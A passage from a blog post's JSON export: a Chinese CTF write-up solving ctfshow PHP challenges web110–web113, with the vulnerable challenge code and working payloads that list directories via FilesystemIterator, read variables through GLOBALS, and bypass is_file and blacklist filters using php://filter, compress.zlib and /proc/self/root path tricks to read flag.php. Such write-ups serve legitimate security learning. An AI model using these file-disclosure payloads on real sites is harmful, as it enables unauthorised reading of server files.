v1&quot;);\n    }\n    if(preg_match(&#039;\/\\~|\\`|\\!|\\@|\\#|\\\\$|\\%|\\^|\\&amp;|\\*|\\(|\\)|\\_|\\-|\\+|\\=|\\{|\\[|\\;|\\:|\\&quot;|\\&#039;|\\,|\\.|\\?|\\\\\\\\|\\\/|[0-9]\/&#039;, $v2)){\n            die(&quot;error v2&quot;);\n    }\n    eval(&quot;echo new $v1($v2());&quot;);\n}\n?&gt;<\/code><\/pre>\n<p>\u968f\u4fbf\u770b\u4e00\u4e0b\u611f\u89c9\u57fa\u672c\u4e0a\u9664\u4e86\u5b57\u6bcd\u90fd\u88ab\u8fc7\u6ee4\u4e86\u3002\u3002\u3002\u3002<\/p>\n<p>\u5148\u7528\u4e0a\u9762\u7684\u6269\u5c55\u51fd\u6570\u770b\u4e00\u4e0bphpinfo<\/p>\n<pre><code class=\"language-php\">\/?v1=exception&amp;v2=phpinfo<\/code><\/pre>\n<p>\u5927\u5e08\u5085\u6307\u70b9\u4f7f\u7528\u7c7b<code>FilesystemIteartor<\/code>\u548c<code>getcwd()<\/code>\u65b9\u6cd5\uff0c\u5927\u5e08\u5085\u725b\u903c\uff01\uff01\uff01\uff01\uff01\uff01<\/p>\n<pre><code>\/?v1=filesystemiteartor&amp;v2=getcwd\n==&gt; fl36dga.txt<\/code><\/pre>\n<p>\u8bbf\u95ee\u6587\u4ef6\u5373\u53ef\u3002\u3002\u3002\u3002<\/p>\n<h2>\u5b66\u4e60\u5230\u7684\uff1a<\/h2>\n<p><strong>FileSystemIterator<\/strong>\u904d\u5386\u6587\u4ef6\u7c7b<\/p>\n<p><strong>DirectoryIterator<\/strong>\u904d\u5386\u76ee\u5f55\u7c7b<\/p>\n<h2>Hint<\/h2>\n<p>\u8003\u5bdf\uff1aphp\u5185\u7f6e\u7c7b \u5229\u7528 FilesystemIterator \u83b7\u53d6\u6307\u5b9a\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6 <a href=\"http:\/\/phpff.com\/filesystemiterator\">http:\/\/phpff.com\/filesystemiterator<\/a> <a href=\"https:\/\/www.php.net\/manual\/zh\/class.filesystemiterator.php\">https:\/\/www.php.net\/manual\/zh\/class.filesystemiterator.php<\/a> getcwd()\u51fd\u6570 \u83b7\u53d6\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55 \u8fd4\u56de\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55 payload: ?v1=FilesystemIterator&amp;v2=getcwd<\/p>\n<h1>web111<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\nerror_reporting(0);\ninclude(&quot;flag.php&quot;);\n\nfunction getFlag(&amp;$v1,&amp;$v2){\n    eval(&quot;$$v1 = &amp;$$v2;&quot;);\n    var_dump($$v1);\n}\nif(isset($_GET[&#039;v1&#039;]) &amp;&amp; isset($_GET[&#039;v2&#039;])){\n    $v1 = $_GET[&#039;v1&#039;];\n    $v2 = $_GET[&#039;v2&#039;];\n\n    if(preg_match(&#039;\/\\~| |\\`|\\!|\\@|\\#|\\\\$|\\%|\\^|\\&amp;|\\*|\\(|\\)|\\_|\\-|\\+|\\=|\\{|\\[|\\;|\\:|\\&quot;|\\&#039;|\\,|\\.|\\?|\\\\\\\\|\\\/|[0-9]|\\&lt;|\\&gt;\/&#039;, $v1)){\n            die(&quot;error v1&quot;);\n    }\n    if(preg_match(&#039;\/\\~| |\\`|\\!|\\@|\\#|\\\\$|\\%|\\^|\\&amp;|\\*|\\(|\\)|\\_|\\-|\\+|\\=|\\{|\\[|\\;|\\:|\\&quot;|\\&#039;|\\,|\\.|\\?|\\\\\\\\|\\\/|[0-9]|\\&lt;|\\&gt;\/&#039;, $v2)){\n            die(&quot;error v2&quot;);\n    }\n    if(preg_match(&#039;\/ctfshow\/&#039;, $v1)){\n            getFlag($v1,$v2);\n    }\n}\n?&gt;<\/code><\/pre>\n<p>\u5185\u90e8\u9700\u8981\u4f7f\u7528\u5916\u90e8\u53d8\u91cf\uff0c\u5229\u7528\u5168\u5c40\u53d8\u91cf\u8fdb\u884c\u8d4b\u503c\uff1a<\/p>\n<pre><code class=\"language-php\">    \/?v1=ctfshow&amp;v2=GLOBALS<\/code><\/pre>\n<h2>Hint<\/h2>\n<p>\u8003\u5bdf\uff1a\u5168\u5c40\u53d8\u91cf \u4e3a\u4e86\u6ee1\u8db3\u6761\u4ef6\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u5168\u5c40\u53d8\u91cf\u6765\u8fdb\u884c\u8d4b\u503c\u7ed9ctfshow\u8fd9\u4e2a\u53d8\u91cf payload: ?v1=ctfshow&amp;v2=GLOBALS<\/p>\n<h1>web112<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\nerror_reporting(0);\nfunction filter($file){\n    if(preg_match(&#039;\/\\.\\.\\\/|http|https|data|input|rot13|base64|string\/i&#039;,$file)){\n        die(&quot;hacker!&quot;);\n    }else{\n        return $file;\n    }\n}\n$file=$_GET[&#039;file&#039;];\nif(! is_file($file)){\n    highlight_file(filter($file));\n}else{\n    echo &quot;hacker!&quot;;\n}<\/code><\/pre>\n<h2>is_file<\/h2>\n<p><code>is_file<\/code>\u51fd\u6570\u53ef\u4ee5\u4f7f\u7528\u5305\u88c5\u5668\u4f2a\u534f\u8bae\u8fdb\u884c\u7ed5\u8fc7<\/p>\n<p>\u6784\u9020payload\uff1a<\/p>\n<pre><code>\/?file=php:\/\/filter\/resource=flag.php<\/code><\/pre>\n<h2>Hint<\/h2>\n<pre><code class=\"language-php\">php:\/\/filter\/resource=flag.php\nphp:\/\/filter\/convert.iconv.UCS-2LE.UCS-2BE\/resource=flag.php\nphp:\/\/filter\/read=convert.quoted-printable-encode\/resource=flag.php\ncompress.zlib:\/\/flag.php<\/code><\/pre>\n<h1>web113<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\nerror_reporting(0);\nfunction filter($file){\n    if(preg_match(&#039;\/filter|\\.\\.\\\/|http|https|data|data|rot13|base64|string\/i&#039;,$file)){\n        die(&#039;hacker!&#039;);\n    }else{\n        return $file;\n    }\n}\n$file=$_GET[&#039;file&#039;];\nif(! is_file($file)){\n    highlight_file(filter($file));\n}else{\n    echo &quot;hacker!&quot;;\n}<\/code><\/pre>\n<p>\u67e5\u770b\u4e00\u4e0b\u6587\u6863\uff0c\u770b\u4e00\u4e0b\u53ef\u4ee5\u8fc7<code>is_file<\/code>\u7684\u4f2a\u534f\u8bae\uff1a<\/p>\n<ul>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.file.php\">file:\/\/<\/a> \u2014 \u8bbf\u95ee\u672c\u5730\u6587\u4ef6\u7cfb\u7edf<\/li>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.http.php\">http:\/\/<\/a> \u2014 \u8bbf\u95ee HTTP(s) \u7f51\u5740<\/li>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.ftp.php\">ftp:\/\/<\/a> \u2014 \u8bbf\u95ee FTP(s) URLs<\/li>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.php.php\">php:\/\/<\/a> \u2014 \u8bbf\u95ee\u5404\u4e2a\u8f93\u5165\/\u8f93\u51fa\u6d41\uff08I\/O streams\uff09<\/li>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.compression.php\">zlib:\/\/<\/a> \u2014 \u538b\u7f29\u6d41<\/li>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.data.php\">data:\/\/<\/a> \u2014 \u6570\u636e\uff08RFC 2397\uff09<\/li>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.glob.php\">glob:\/\/<\/a> \u2014 \u67e5\u627e\u5339\u914d\u7684\u6587\u4ef6\u8def\u5f84\u6a21\u5f0f<\/li>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.phar.php\">phar:\/\/<\/a> \u2014 PHP \u5f52\u6863<\/li>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.ssh2.php\">ssh2:\/\/<\/a> \u2014 \u5b89\u5168\u5916\u58f3\u534f\u8bae 2<\/li>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.rar.php\">rar:\/\/<\/a> \u2014 RAR<\/li>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.audio.php\">ogg:\/\/<\/a> \u2014 \u97f3\u9891\u6d41<\/li>\n<li><a href=\"https:\/\/www.php.net\/manual\/zh\/wrappers.expect.php\">expect:\/\/<\/a> \u2014 \u5904\u7406\u4ea4\u4e92\u5f0f\u7684\u6d41<\/li>\n<\/ul>\n<p>\u5927\u5e08\u5085\u4f7f\u7528\u7684\u662fzlib\u91cc\u7684\u5b98\u65b9\u6837\u4f8b\u8fdb\u884c\u7ed5\u8fc7\u7684\uff0c\u6211\u4eec\u4ee5\u540e\u4e5f\u8981\u7ecf\u5e38\u7ffb\u5b98\u65b9\u6587\u6863\u4e0d\u80fd\u4e00\u5473\u4f9d\u9760\u5927\u5e08\u5085\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-php\">\/?file=compress.zlib:\/\/flag.php<\/code><\/pre>\n<h2>Hint:\u76ee\u5f55\u6ea2\u51fa<\/h2>\n<pre><code class=\"language-text\">\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/p\nroc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/pro\nc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/\nself\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/se\nlf\/root\/proc\/self\/root\/var\/www\/html\/flag.php<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>web89 \u6b64\u9898\u4e3a \u3010\u4ece0\u5f00\u59cb\u5b66web\u3011\u7cfb\u5217\u7b2c\u516b\u5341\u4e5d\u9898 \u6b64\u7cfb\u5217\u9898\u76ee\u4ece\u6700\u57fa\u7840\u5f00\u59cb\uff0c\u9898\u76ee\u9075\u5faa\u5faa\u5e8f\u6e10\u8fdb\u7684\u539f\u5219 \u5e0c\u671b\u5bf9 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":294,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-293","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/293","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=293"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/293\/revisions"}],"predecessor-version":[{"id":295,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/293\/revisions\/295"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media\/294"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=293"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=293"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=293"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}